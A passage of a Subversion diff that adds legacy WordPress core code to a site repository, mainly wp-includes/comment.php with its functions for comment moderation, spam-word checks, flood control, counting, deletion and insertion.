+		$r['per_page'] = 0;
+		$r['page'] = 0;
+	}
+
+	if ( '' === $r['max_depth'] ) {
+		if ( get_option('thread_comments') )
+			$r['max_depth'] = get_option('thread_comments_depth');
+		else
+			$r['max_depth'] = -1;
+	}
+
+	if ( '' === $r['page'] ) {
+		if ( empty($overridden_cpage) ) {
+			$r['page'] = get_query_var('cpage');
+		} else {
+			$threaded = ( -1 == $r['max_depth'] ) ? false : true;
+			$r['page'] = ( 'newest' == get_option('default_comments_page') ) ? get_comment_pages_count($_comments, $r['per_page'], $threaded) : 1;
+			set_query_var( 'cpage', $r['page'] );
+		}
+	}
+	// Validation check
+	$r['page'] = intval($r['page']);
+	if ( 0 == $r['page'] && 0 != $r['per_page'] )
+		$r['page'] = 1;
+
+	if ( null === $r['reverse_top_level'] )
+		$r['reverse_top_level'] = ( 'desc' == get_option('comment_order') ) ? TRUE : FALSE;
+
+	extract( $r, EXTR_SKIP );
+
+	if ( empty($walker) )
+		$walker = new Walker_Comment;
+
+	$walker->paged_walk($_comments, $max_depth, $page, $per_page, $r);
+	$wp_query->max_num_comment_pages = $walker->max_pages;
+
+	$in_comment_loop = false;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/comment.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/comment.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/comment.php	(revision 44)
@@ -0,0 +1,1642 @@
+<?php
+/**
+ * Manages WordPress comments
+ *
+ * @package WordPress
+ * @subpackage Comment
+ */
+
+/**
+ * Checks whether a comment passes internal checks to be allowed to add.
+ *
+ * If comment moderation is set in the administration, then all comments,
+ * regardless of their type and whitelist will be set to false. If the number of
+ * links exceeds the amount in the administration, then the check fails. If any
+ * of the parameter contents match the blacklist of words, then the check fails.
+ *
+ * If the number of links exceeds the amount in the administration, then the
+ * check fails. If any of the parameter contents match the blacklist of words,
+ * then the check fails.
+ *
+ * If the comment is a trackback and part of the blogroll, then the trackback is
+ * automatically whitelisted. If the comment author was approved before, then
+ * the comment is automatically whitelisted.
+ *
+ * If none of the checks fail, then the failback is to set the check to pass
+ * (return true).
+ *
+ * @since 1.2.0
+ * @uses $wpdb
+ *
+ * @param string $author Comment Author's name
+ * @param string $email Comment Author's email
+ * @param string $url Comment Author's URL
+ * @param string $comment Comment contents
+ * @param string $user_ip Comment Author's IP address
+ * @param string $user_agent Comment Author's User Agent
+ * @param string $comment_type Comment type, either user submitted comment,
+ *		trackback, or pingback
+ * @return bool Whether the checks passed (true) and the comments should be
+ *		displayed or set to moderated
+ */
+function check_comment($author, $email, $url, $comment, $user_ip, $user_agent, $comment_type) {
+	global $wpdb;
+
+	if ( 1 == get_option('comment_moderation') )
+		return false; // If moderation is set to manual
+
+	if ( get_option('comment_max_links') && preg_match_all("/<[Aa][^>]*[Hh][Rr][Ee][Ff]=['\"]([^\"'>]+)[^>]*>/", apply_filters('comment_text',$comment), $out) >= get_option('comment_max_links') )
+		return false; // Check # of external links
+
+	$mod_keys = trim(get_option('moderation_keys'));
+	if ( !empty($mod_keys) ) {
+		$words = explode("\n", $mod_keys );
+
+		foreach ( (array) $words as $word) {
+			$word = trim($word);
+
+			// Skip empty lines
+			if ( empty($word) )
+				continue;
+
+			// Do some escaping magic so that '#' chars in the
+			// spam words don't break things:
+			$word = preg_quote($word, '#');
+
+			$pattern = "#$word#i";
+			if ( preg_match($pattern, $author) ) return false;
+			if ( preg_match($pattern, $email) ) return false;
+			if ( preg_match($pattern, $url) ) return false;
+			if ( preg_match($pattern, $comment) ) return false;
+			if ( preg_match($pattern, $user_ip) ) return false;
+			if ( preg_match($pattern, $user_agent) ) return false;
+		}
+	}
+
+	// Comment whitelisting:
+	if ( 1 == get_option('comment_whitelist')) {
+		if ( 'trackback' == $comment_type || 'pingback' == $comment_type ) { // check if domain is in blogroll
+			$uri = parse_url($url);
+			$domain = $uri['host'];
+			$uri = parse_url( get_option('home') );
+			$home_domain = $uri['host'];
+			if ( $wpdb->get_var($wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_url LIKE (%s) LIMIT 1", '%'.$domain.'%')) || $domain == $home_domain )
+				return true;
+			else
+				return false;
+		} elseif ( $author != '' && $email != '' ) {
+			// expected_slashed ($author, $email)
+			$ok_to_comment = $wpdb->get_var("SELECT comment_approved FROM $wpdb->comments WHERE comment_author = '$author' AND comment_author_email = '$email' and comment_approved = '1' LIMIT 1");
+			if ( ( 1 == $ok_to_comment ) &&
+				( empty($mod_keys) || false === strpos( $email, $mod_keys) ) )
+					return true;
+			else
+				return false;
+		} else {
+			return false;
+		}
+	}
+	return true;
+}
+
+/**
+ * Retrieve the approved comments for post $post_id.
+ *
+ * @since 2.0.0
+ * @uses $wpdb
+ *
+ * @param int $post_id The ID of the post
+ * @return array $comments The approved comments
+ */
+function get_approved_comments($post_id) {
+	global $wpdb;
+	return $wpdb->get_results($wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved = '1' ORDER BY comment_date", $post_id));
+}
+
+/**
+ * Retrieves comment data given a comment ID or comment object.
+ *
+ * If an object is passed then the comment data will be cached and then returned
+ * after being passed through a filter. If the comment is empty, then the global
+ * comment variable will be used, if it is set.
+ *
+ * If the comment is empty, then the global comment variable will be used, if it
+ * is set.
+ *
+ * @since 2.0.0
+ * @uses $wpdb
+ *
+ * @param object|string|int $comment Comment to retrieve.
+ * @param string $output Optional. OBJECT or ARRAY_A or ARRAY_N constants.
+ * @return object|array|null Depends on $output value.
+ */
+function &get_comment(&$comment, $output = OBJECT) {
+	global $wpdb;
+
+	if ( empty($comment) ) {
+		if ( isset($GLOBALS['comment']) )
+			$_comment = & $GLOBALS['comment'];
+		else
+			$_comment = null;
+	} elseif ( is_object($comment) ) {
+		wp_cache_add($comment->comment_ID, $comment, 'comment');
+		$_comment = $comment;
+	} else {
+		if ( isset($GLOBALS['comment']) && ($GLOBALS['comment']->comment_ID == $comment) ) {
+			$_comment = & $GLOBALS['comment'];
+		} elseif ( ! $_comment = wp_cache_get($comment, 'comment') ) {
+			$_comment = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_ID = %d LIMIT 1", $comment));
+			wp_cache_add($_comment->comment_ID, $_comment, 'comment');
+		}
+	}
+
+	$_comment = apply_filters('get_comment', $_comment);
+
+	if ( $output == OBJECT ) {
+		return $_comment;
+	} elseif ( $output == ARRAY_A ) {
+		$__comment = get_object_vars($_comment);
+		return $__comment;
+	} elseif ( $output == ARRAY_N ) {
+		$__comment = array_values(get_object_vars($_comment));
+		return $__comment;
+	} else {
+		return $_comment;
+	}
+}
+
+/**
+ * Retrieve a list of comments.
+ *
+ * The comment list can be for the blog as a whole or for an individual post.
+ *
+ * The list of comment arguments are 'status', 'orderby', 'comment_date_gmt',
+ * 'order', 'number', 'offset', and 'post_id'.
+ *
+ * @since 2.7.0
+ * @uses $wpdb
+ *
+ * @param mixed $args Optional. Array or string of options to override defaults.
+ * @return array List of comments.
+ */
+function get_comments( $args = '' ) {
+	global $wpdb;
+
+	$defaults = array('status' => '', 'orderby' => 'comment_date_gmt', 'order' => 'DESC', 'number' => '', 'offset' => '', 'post_id' => 0);
+
+	$args = wp_parse_args( $args, $defaults );
+	extract( $args, EXTR_SKIP );
+
+	// $args can be whatever, only use the args defined in defaults to compute the key
+	$key = md5( serialize( compact(array_keys($defaults)) )  );
+	$last_changed = wp_cache_get('last_changed', 'comment');
+	if ( !$last_changed ) {
+		$last_changed = time();
+		wp_cache_set('last_changed', $last_changed, 'comment');
+	}
+	$cache_key = "get_comments:$key:$last_changed";
+
+	if ( $cache = wp_cache_get( $cache_key, 'comment' ) ) {
+		return $cache;
+	}
+
+	$post_id = absint($post_id);
+
+	if ( 'hold' == $status )
+		$approved = "comment_approved = '0'";
+	elseif ( 'approve' == $status )
+		$approved = "comment_approved = '1'";
+	elseif ( 'spam' == $status )
+		$approved = "comment_approved = 'spam'";
+	else
+		$approved = "( comment_approved = '0' OR comment_approved = '1' )";
+
+	$order = ( 'ASC' == $order ) ? 'ASC' : 'DESC';
+
+	$orderby = 'comment_date_gmt';  // Hard code for now
+
+	$number = absint($number);
+	$offset = absint($offset);
+
+	if ( !empty($number) ) {
+		if ( $offset )
+			$number = 'LIMIT ' . $offset . ',' . $number;
+		else
+			$number = 'LIMIT ' . $number;
+
+	} else {
+		$number = '';
+	}
+
+	if ( ! empty($post_id) )
+		$post_where = $wpdb->prepare( 'comment_post_ID = %d AND', $post_id );
+	else
+		$post_where = '';
+
+	$comments = $wpdb->get_results( "SELECT * FROM $wpdb->comments WHERE $post_where $approved ORDER BY $orderby $order $number" );
+	wp_cache_add( $cache_key, $comments, 'comment' );
+
+	return $comments;
+}
+
+/**
+ * Retrieve all of the WordPress supported comment statuses.
+ *
+ * Comments have a limited set of valid status values, this provides the comment
+ * status values and descriptions.
+ *
+ * @package WordPress
+ * @subpackage Post
+ * @since 2.7.0
+ *
+ * @return array List of comment statuses.
+ */
+function get_comment_statuses( ) {
+	$status = array(
+		'hold'		=> __('Unapproved'),
+		/* translators: comment status  */
+		'approve'	=> _x('Approved', 'adjective'),
+		/* translators: comment status */
+		'spam'		=> _x('Spam', 'adjective'),
+	);
+
+	return $status;
+}
+
+
+/**
+ * The date the last comment was modified.
+ *
+ * @since 1.5.0
+ * @uses $wpdb
+ * @global array $cache_lastcommentmodified
+ *
+ * @param string $timezone Which timezone to use in reference to 'gmt', 'blog',
+ *		or 'server' locations.
+ * @return string Last comment modified date.
+ */
+function get_lastcommentmodified($timezone = 'server') {
+	global $cache_lastcommentmodified, $wpdb;
+
+	if ( isset($cache_lastcommentmodified[$timezone]) )
+		return $cache_lastcommentmodified[$timezone];
+
+	$add_seconds_server = date('Z');
+
+	switch ( strtolower($timezone)) {
+		case 'gmt':
+			$lastcommentmodified = $wpdb->get_var("SELECT comment_date_gmt FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1");
+			break;
+		case 'blog':
+			$lastcommentmodified = $wpdb->get_var("SELECT comment_date FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1");
+			break;
+		case 'server':
+			$lastcommentmodified = $wpdb->get_var($wpdb->prepare("SELECT DATE_ADD(comment_date_gmt, INTERVAL %s SECOND) FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1", $add_seconds_server));
+			break;
+	}
+
+	$cache_lastcommentmodified[$timezone] = $lastcommentmodified;
+
+	return $lastcommentmodified;
+}
+
+/**
+ * The amount of comments in a post or total comments.
+ *
+ * A lot like {@link wp_count_comments()}, in that they both return comment
+ * stats (albeit with different types). The {@link wp_count_comments()} actual
+ * caches, but this function does not.
+ *
+ * @since 2.0.0
+ * @uses $wpdb
+ *
+ * @param int $post_id Optional. Comment amount in post if > 0, else total comments blog wide.
+ * @return array The amount of spam, approved, awaiting moderation, and total comments.
+ */
+function get_comment_count( $post_id = 0 ) {
+	global $wpdb;
+
+	$post_id = (int) $post_id;
+
+	$where = '';
+	if ( $post_id > 0 ) {
+		$where = $wpdb->prepare("WHERE comment_post_ID = %d", $post_id);
+	}
+
+	$totals = (array) $wpdb->get_results("
+		SELECT comment_approved, COUNT( * ) AS total
+		FROM {$wpdb->comments}
+		{$where}
+		GROUP BY comment_approved
+	", ARRAY_A);
+
+	$comment_count = array(
+		"approved"              => 0,
+		"awaiting_moderation"   => 0,
+		"spam"                  => 0,
+		"total_comments"        => 0
+	);
+
+	foreach ( $totals as $row ) {
+		switch ( $row['comment_approved'] ) {
+			case 'spam':
+				$comment_count['spam'] = $row['total'];
+				$comment_count["total_comments"] += $row['total'];
+				break;
+			case 1:
+				$comment_count['approved'] = $row['total'];
+				$comment_count['total_comments'] += $row['total'];
+				break;
+			case 0:
+				$comment_count['awaiting_moderation'] = $row['total'];
+				$comment_count['total_comments'] += $row['total'];
+				break;
+			default:
+				break;
+		}
+	}
+
+	return $comment_count;
+}
+
+/**
+ * Sanitizes the cookies sent to the user already.
+ *
+ * Will only do anything if the cookies have already been created for the user.
+ * Mostly used after cookies had been sent to use elsewhere.
+ *
+ * @since 2.0.4
+ */
+function sanitize_comment_cookies() {
+	if ( isset($_COOKIE['comment_author_'.COOKIEHASH]) ) {
+		$comment_author = apply_filters('pre_comment_author_name', $_COOKIE['comment_author_'.COOKIEHASH]);
+		$comment_author = stripslashes($comment_author);
+		$comment_author = esc_attr($comment_author);
+		$_COOKIE['comment_author_'.COOKIEHASH] = $comment_author;
+	}
+
+	if ( isset($_COOKIE['comment_author_email_'.COOKIEHASH]) ) {
+		$comment_author_email = apply_filters('pre_comment_author_email', $_COOKIE['comment_author_email_'.COOKIEHASH]);
+		$comment_author_email = stripslashes($comment_author_email);
+		$comment_author_email = esc_attr($comment_author_email);
+		$_COOKIE['comment_author_email_'.COOKIEHASH] = $comment_author_email;
+	}
+
+	if ( isset($_COOKIE['comment_author_url_'.COOKIEHASH]) ) {
+		$comment_author_url = apply_filters('pre_comment_author_url', $_COOKIE['comment_author_url_'.COOKIEHASH]);
+		$comment_author_url = stripslashes($comment_author_url);
+		$_COOKIE['comment_author_url_'.COOKIEHASH] = $comment_author_url;
+	}
+}
+
+/**
+ * Validates whether this comment is allowed to be made or not.
+ *
+ * @since 2.0.0
+ * @uses $wpdb
+ * @uses apply_filters() Calls 'pre_comment_approved' hook on the type of comment
+ * @uses do_action() Calls 'check_comment_flood' hook on $comment_author_IP, $comment_author_email, and $comment_date_gmt
+ *
+ * @param array $commentdata Contains information on the comment
+ * @return mixed Signifies the approval status (0|1|'spam')
+ */
+function wp_allow_comment($commentdata) {
+	global $wpdb;
+	extract($commentdata, EXTR_SKIP);
+
+	// Simple duplicate check
+	// expected_slashed ($comment_post_ID, $comment_author, $comment_author_email, $comment_content)
+	$dupe = "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = '$comment_post_ID' AND ( comment_author = '$comment_author' ";
+	if ( $comment_author_email )
+		$dupe .= "OR comment_author_email = '$comment_author_email' ";
+	$dupe .= ") AND comment_content = '$comment_content' LIMIT 1";
+	if ( $wpdb->get_var($dupe) ) {
+		if ( defined('DOING_AJAX') )
+			die( __('Duplicate comment detected; it looks as though you&#8217;ve already said that!') );
+
+		wp_die( __('Duplicate comment detected; it looks as though you&#8217;ve already said that!') );
+	}
+
+	do_action( 'check_comment_flood', $comment_author_IP, $comment_author_email, $comment_date_gmt );
+
+	if ( $user_id ) {
+		$userdata = get_userdata($user_id);
+		$user = new WP_User($user_id);
+		$post_author = $wpdb->get_var($wpdb->prepare("SELECT post_author FROM $wpdb->posts WHERE ID = %d LIMIT 1", $comment_post_ID));
+	}
+
+	if ( isset($userdata) && ( $user_id == $post_author || $user->has_cap('moderate_comments') ) ) {
+		// The author and the admins get respect.
+		$approved = 1;
+	 } else {
+		// Everyone else's comments will be checked.
+		if ( check_comment($comment_author, $comment_author_email, $comment_author_url, $comment_content, $comment_author_IP, $comment_agent, $comment_type) )
+			$approved = 1;
+		else
+			$approved = 0;
+		if ( wp_blacklist_check($comment_author, $comment_author_email, $comment_author_url, $comment_content, $comment_author_IP, $comment_agent) )
+			$approved = 'spam';
+	}
+
+	$approved = apply_filters('pre_comment_approved', $approved);
+	return $approved;
+}
+
+/**
+ * Check whether comment flooding is occurring.
+ *
+ * Won't run, if current user can manage options, so to not block
+ * administrators.
+ *
+ * @since 2.3.0
+ * @uses $wpdb
+ * @uses apply_filters() Calls 'comment_flood_filter' filter with first
+ *		parameter false, last comment timestamp, new comment timestamp.
+ * @uses do_action() Calls 'comment_flood_trigger' action with parameters with
+ *		last comment timestamp and new comment timestamp.
+ *
+ * @param string $ip Comment IP.
+ * @param string $email Comment author email address.
+ * @param string $date MySQL time string.
+ */
+function check_comment_flood_db( $ip, $email, $date ) {
+	global $wpdb;
+	if ( current_user_can( 'manage_options' ) )
+		return; // don't throttle admins
+	if ( $lasttime = $wpdb->get_var( $wpdb->prepare("SELECT comment_date_gmt FROM $wpdb->comments WHERE comment_author_IP = %s OR comment_author_email = %s ORDER BY comment_date DESC LIMIT 1", $ip, $email) ) ) {
+		$time_lastcomment = mysql2date('U', $lasttime, false);
+		$time_newcomment  = mysql2date('U', $date, false);
+		$flood_die = apply_filters('comment_flood_filter', false, $time_lastcomment, $time_newcomment);
+		if ( $flood_die ) {
+			do_action('comment_flood_trigger', $time_lastcomment, $time_newcomment);
+
+			if ( defined('DOING_AJAX') )
+				die( __('You are posting comments too quickly.  Slow down.') );
+
+			wp_die( __('You are posting comments too quickly.  Slow down.'), '', array('response' => 403) );
+		}
+	}
+}
+
+/**
+ * Separates an array of comments into an array keyed by comment_type.
+ *
+ * @since 2.7.0
+ *
+ * @param array $comments Array of comments
+ * @return array Array of comments keyed by comment_type.
+ */
+function &separate_comments(&$comments) {
+	$comments_by_type = array('comment' => array(), 'trackback' => array(), 'pingback' => array(), 'pings' => array());
+	$count = count($comments);
+	for ( $i = 0; $i < $count; $i++ ) {
+		$type = $comments[$i]->comment_type;
+		if ( empty($type) )
+			$type = 'comment';
+		$comments_by_type[$type][] = &$comments[$i];
+		if ( 'trackback' == $type || 'pingback' == $type )
+			$comments_by_type['pings'][] = &$comments[$i];
+	}
+
+	return $comments_by_type;
+}
+
+/**
+ * Calculate the total number of comment pages.
+ *
+ * @since 2.7.0
+ * @uses get_query_var() Used to fill in the default for $per_page parameter.
+ * @uses get_option() Used to fill in defaults for parameters.
+ * @uses Walker_Comment
+ *
+ * @param array $comments Optional array of comment objects.  Defaults to $wp_query->comments
+ * @param int $per_page Optional comments per page.
+ * @param boolean $threaded Optional control over flat or threaded comments.
+ * @return int Number of comment pages.
+ */
+function get_comment_pages_count( $comments = null, $per_page = null, $threaded = null ) {
+	global $wp_query;
+
+	if ( null === $comments && null === $per_page && null === $threaded && !empty($wp_query->max_num_comment_pages) )
+		return $wp_query->max_num_comment_pages;
+
+	if ( !$comments || !is_array($comments) )
+		$comments = $wp_query->comments;
+
+	if ( empty($comments) )
+		return 0;
+
+	if ( !isset($per_page) )
+		$per_page = (int) get_query_var('comments_per_page');
+	if ( 0 === $per_page )
+		$per_page = (int) get_option('comments_per_page');
+	if ( 0 === $per_page )
+		return 1;
+
+	if ( !isset($threaded) )
+		$threaded = get_option('thread_comments');
+
+	if ( $threaded ) {
+		$walker = new Walker_Comment;
+		$count = ceil( $walker->get_number_of_root_elements( $comments ) / $per_page );
+	} else {
+		$count = ceil( count( $comments ) / $per_page );
+	}
+
+	return $count;
+}
+
+/**
+ * Calculate what page number a comment will appear on for comment paging.
+ *
+ * @since 2.7.0
+ * @uses get_comment() Gets the full comment of the $comment_ID parameter.
+ * @uses get_option() Get various settings to control function and defaults.
+ * @uses get_page_of_comment() Used to loop up to top level comment.
+ *
+ * @param int $comment_ID Comment ID.
+ * @param array $args Optional args.
+ * @return int|null Comment page number or null on error.
+ */
+function get_page_of_comment( $comment_ID, $args = array() ) {
+	global $wpdb;
+
+	if ( !$comment = get_comment( $comment_ID ) )
+		return;
+
+	$defaults = array( 'type' => 'all', 'page' => '', 'per_page' => '', 'max_depth' => '' );
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( '' === $args['per_page'] && get_option('page_comments') )
+		$args['per_page'] = get_query_var('comments_per_page');
+	if ( empty($args['per_page']) ) {
+		$args['per_page'] = 0;
+		$args['page'] = 0;
+	}
+	if ( $args['per_page'] < 1 )
+		return 1;
+
+	if ( '' === $args['max_depth'] ) {
+		if ( get_option('thread_comments') )
+			$args['max_depth'] = get_option('thread_comments_depth');
+		else
+			$args['max_depth'] = -1;
+	}
+
+	// Find this comment's top level parent if threading is enabled
+	if ( $args['max_depth'] > 1 && 0 != $comment->comment_parent )
+		return get_page_of_comment( $comment->comment_parent, $args );
+
+	$allowedtypes = array(
+		'comment' => '',
+		'pingback' => 'pingback',
+		'trackback' => 'trackback',
+	);
+
+	$comtypewhere = ( 'all' != $args['type'] && isset($allowedtypes[$args['type']]) ) ? " AND comment_type = '" . $allowedtypes[$args['type']] . "'" : '';
+
+	// Count comments older than this one
+	$oldercoms = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(comment_ID) FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_parent = 0 AND comment_approved = '1' AND comment_date_gmt < '%s'" . $comtypewhere, $comment->comment_post_ID, $comment->comment_date_gmt ) );
+
+	// No older comments? Then it's page #1.
+	if ( 0 == $oldercoms )
+		return 1;
+
+	// Divide comments older than this one by comments per page to get this comment's page number
+	return ceil( ( $oldercoms + 1 ) / $args['per_page'] );
+}
+
+/**
+ * Does comment contain blacklisted characters or words.
+ *
+ * @since 1.5.0
+ * @uses do_action() Calls 'wp_blacklist_check' hook for all parameters.
+ *
+ * @param string $author The author of the comment
+ * @param string $email The email of the comment
+ * @param string $url The url used in the comment
+ * @param string $comment The comment content
+ * @param string $user_ip The comment author IP address
+ * @param string $user_agent The author's browser user agent
+ * @return bool True if comment contains blacklisted content, false if comment does not
+ */
+function wp_blacklist_check($author, $email, $url, $comment, $user_ip, $user_agent) {
+	do_action('wp_blacklist_check', $author, $email, $url, $comment, $user_ip, $user_agent);
+
+	if ( preg_match_all('/&#(\d+);/', $comment . $author . $url, $chars) ) {
+		foreach ( (array) $chars[1] as $char ) {
+			// If it's an encoded char in the normal ASCII set, reject
+			if ( 38 == $char )
+				continue; // Unless it's &
+			if ( $char < 128 )
+				return true;
+		}
+	}
+
+	$mod_keys = trim( get_option('blacklist_keys') );
+	if ( '' == $mod_keys )
+		return false; // If moderation keys are empty
+	$words = explode("\n", $mod_keys );
+
+	foreach ( (array) $words as $word ) {
+		$word = trim($word);
+
+		// Skip empty lines
+		if ( empty($word) ) { continue; }
+
+		// Do some escaping magic so that '#' chars in the
+		// spam words don't break things:
+		$word = preg_quote($word, '#');
+
+		$pattern = "#$word#i";
+		if (
+			   preg_match($pattern, $author)
+			|| preg_match($pattern, $email)
+			|| preg_match($pattern, $url)
+			|| preg_match($pattern, $comment)
+			|| preg_match($pattern, $user_ip)
+			|| preg_match($pattern, $user_agent)
+		 )
+			return true;
+	}
+	return false;
+}
+
+/**
+ * Retrieve total comments for blog or single post.
+ *
+ * The properties of the returned object contain the 'moderated', 'approved',
+ * and spam comments for either the entire blog or single post. Those properties
+ * contain the amount of comments that match the status. The 'total_comments'
+ * property contains the integer of total comments.
+ *
+ * The comment stats are cached and then retrieved, if they already exist in the
+ * cache.
+ *
+ * @since 2.5.0
+ *
+ * @param int $post_id Optional. Post ID.
+ * @return object Comment stats.
+ */
+function wp_count_comments( $post_id = 0 ) {
+	global $wpdb;
+
+	$post_id = (int) $post_id;
+
+	$stats = apply_filters('wp_count_comments', array(), $post_id);
+	if ( !empty($stats) )
+		return $stats;
+
+	$count = wp_cache_get("comments-{$post_id}", 'counts');
+
+	if ( false !== $count )
+		return $count;
+
+	$where = '';
+	if( $post_id > 0 )
+		$where = $wpdb->prepare( "WHERE comment_post_ID = %d", $post_id );
+
+	$count = $wpdb->get_results( "SELECT comment_approved, COUNT( * ) AS num_comments FROM {$wpdb->comments} {$where} GROUP BY comment_approved", ARRAY_A );
+
+	$total = 0;
+	$approved = array('0' => 'moderated', '1' => 'approved', 'spam' => 'spam');
+	$known_types = array_keys( $approved );
+	foreach( (array) $count as $row_num => $row ) {
+		$total += $row['num_comments'];
+		if ( in_array( $row['comment_approved'], $known_types ) )
+			$stats[$approved[$row['comment_approved']]] = $row['num_comments'];
+	}
+
+	$stats['total_comments'] = $total;
+	foreach ( $approved as $key ) {
+		if ( empty($stats[$key]) )
+			$stats[$key] = 0;
+	}
+
+	$stats = (object) $stats;
+	wp_cache_set("comments-{$post_id}", $stats, 'counts');
+
+	return $stats;
+}
+
+/**
+ * Removes comment ID and maybe updates post comment count.
+ *
+ * The post comment count will be updated if the comment was approved and has a
+ * post ID available.
+ *
+ * @since 2.0.0
+ * @uses $wpdb
+ * @uses do_action() Calls 'delete_comment' hook on comment ID
+ * @uses do_action() Calls 'wp_set_comment_status' hook on comment ID with 'delete' set for the second parameter
+ * @uses wp_transition_comment_status() Passes new and old comment status along with $comment object
+ *
+ * @param int $comment_id Comment ID
+ * @return bool False if delete comment query failure, true on success.
+ */
+function wp_delete_comment($comment_id) {
+	global $wpdb;
+	do_action('delete_comment', $comment_id);
+
+	$comment = get_comment($comment_id);
+
+	if ( ! $wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->comments WHERE comment_ID = %d LIMIT 1", $comment_id) ) )
+		return false;
+
+	// Move children up a level.
+	$children = $wpdb->get_col( $wpdb->prepare("SELECT comment_ID FROM $wpdb->comments WHERE comment_parent = %d", $comment_id) );
+	if ( !empty($children) ) {
+		$wpdb->update($wpdb->comments, array('comment_parent' => $comment->comment_parent), array('comment_parent' => $comment_id));
+		clean_comment_cache($children);
+	}
+
+	$post_id = $comment->comment_post_ID;
+	if ( $post_id && $comment->comment_approved == 1 )
+		wp_update_comment_count($post_id);
+
+	clean_comment_cache($comment_id);
+
+	do_action('wp_set_comment_status', $comment_id, 'delete');
+	wp_transition_comment_status('delete', $comment->comment_approved, $comment);
+	return true;
+}
+
+/**
+ * The status of a comment by ID.
+ *
+ * @since 1.0.0
+ *
+ * @param int $comment_id Comment ID
+ * @return string|bool Status might be 'deleted', 'approved', 'unapproved', 'spam'. False on failure.
+ */
+function wp_get_comment_status($comment_id) {
+	$comment = get_comment($comment_id);
+	if ( !$comment )
+		return false;
+
+	$approved = $comment->comment_approved;
+
+	if ( $approved == NULL )
+		return 'deleted';
+	elseif ( $approved == '1' )
+		return 'approved';
+	elseif ( $approved == '0' )
+		return 'unapproved';
+	elseif ( $approved == 'spam' )
+		return 'spam';
+	else
+		return false;
+}
+
+/**
+ * Call hooks for when a comment status transition occurs.
+ *
+ * Calls hooks for comment status transitions. If the new comment status is not the same
+ * as the previous comment status, then two hooks will be ran, the first is
+ * 'transition_comment_status' with new status, old status, and comment data. The
+ * next action called is 'comment_OLDSTATUS_to_NEWSTATUS' the NEWSTATUS is the
+ * $new_status parameter and the OLDSTATUS is $old_status parameter; it has the
+ * comment data.
+ *
+ * The final action will run whether or not the comment statuses are the same. The
+ * action is named 'comment_NEWSTATUS_COMMENTTYPE', NEWSTATUS is from the $new_status
+ * parameter and COMMENTTYPE is comment_type comment data.
+ *
+ * @since 2.7.0
+ *
+ * @param string $new_status New comment status.
+ * @param string $old_status Previous comment status.
+ * @param object $comment Comment data.
+ */
+function wp_transition_comment_status($new_status, $old_status, $comment) {
+	// Translate raw statuses to human readable formats for the hooks
+	// This is not a complete list of comment status, it's only the ones that need to be renamed
+	$comment_statuses = array(
+		0         => 'unapproved',
+		'hold'    => 'unapproved', // wp_set_comment_status() uses "hold"
+		1         => 'approved',
+		'approve' => 'approved', // wp_set_comment_status() uses "approve"
+	);
+	if ( isset($comment_statuses[$new_status]) ) $new_status = $comment_statuses[$new_status];
+	if ( isset($comment_statuses[$old_status]) ) $old_status = $comment_statuses[$old_status];
+
+	// Call the hooks
+	if ( $new_status != $old_status ) {
+		do_action('transition_comment_status', $new_status, $old_status, $comment);
+		do_action("comment_${old_status}_to_$new_status", $comment);
+	}
+	do_action("comment_${new_status}_$comment->comment_type", $comment->comment_ID, $comment);
+}
+
+/**
+ * Get current commenter's name, email, and URL.
+ *
+ * Expects cookies content to already be sanitized. User of this function might
+ * wish to recheck the returned array for validity.
+ *
+ * @see sanitize_comment_cookies() Use to sanitize cookies
+ *
+ * @since 2.0.4
+ *
+ * @return array Comment author, email, url respectively.
+ */
+function wp_get_current_commenter() {
+	// Cookies should already be sanitized.
+
+	$comment_author = '';
+	if ( isset($_COOKIE['comment_author_'.COOKIEHASH]) )
+		$comment_author = $_COOKIE['comment_author_'.COOKIEHASH];
+
+	$comment_author_email = '';
+	if ( isset($_COOKIE['comment_author_email_'.COOKIEHASH]) )
+		$comment_author_email = $_COOKIE['comment_author_email_'.COOKIEHASH];
+
+	$comment_author_url = '';
+	if ( isset($_COOKIE['comment_author_url_'.COOKIEHASH]) )
+		$comment_author_url = $_COOKIE['comment_author_url_'.COOKIEHASH];
+
+	return compact('comment_author', 'comment_author_email', 'comment_author_url');
+}
+
+/**
+ * Inserts a comment to the database.
+ *
+ * The available comment data key names are 'comment_author_IP', 'comment_date',
+ * 'comment_date_gmt', 'comment_parent', 'comment_approved', and 'user_id'.
+ *
+ * @since 2.0.0
+ * @uses $wpdb
+ *
+ * @param array $commentdata Contains information on the comment.
+ * @return int The new comment's ID.
+ */
+function wp_insert_comment($commentdata) {
+	global $wpdb;
+	extract(stripslashes_deep($commentdata), EXTR_SKIP);
+
+	if ( ! isset($comment_author_IP) )
+		$comment_author_IP = '';
+	if ( ! isset($comment_date) )
+		$comment_date = current_time('mysql');
+	if ( ! isset($comment_date_gmt) )
+		$comment_date_gmt = get_gmt_from_date($comment_date);
+	if ( ! isset($comment_parent) )
+		$comment_parent = 0;
+	if ( ! isset($comment_approved) )
+		$comment_approved = 1;
+	if ( ! isset($comment_karma) )
+		$comment_karma = 0;
+	if ( ! isset($user_id) )
+		$user_id = 0;
+	if ( ! isset($comment_type) )
+		$comment_type = '';
+
+	$data = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_author_IP', 'comment_date', 'comment_date_gmt', 'comment_content', 'comment_karma', 'comment_approved', 'comment_agent', 'comment_type', 'comment_parent', 'user_id');
+	$wpdb->insert($wpdb->comments, $data);
+
+	$id = (int) $wpdb->insert_id;
+
+	if ( $comment_approved == 1 )
+		wp_update_comment_count($comment_post_ID);
+
+	$comment = get_comment($id);
+	do_action('wp_insert_comment', $id, $comment);
+
+	return $id;
+}
+
+/**
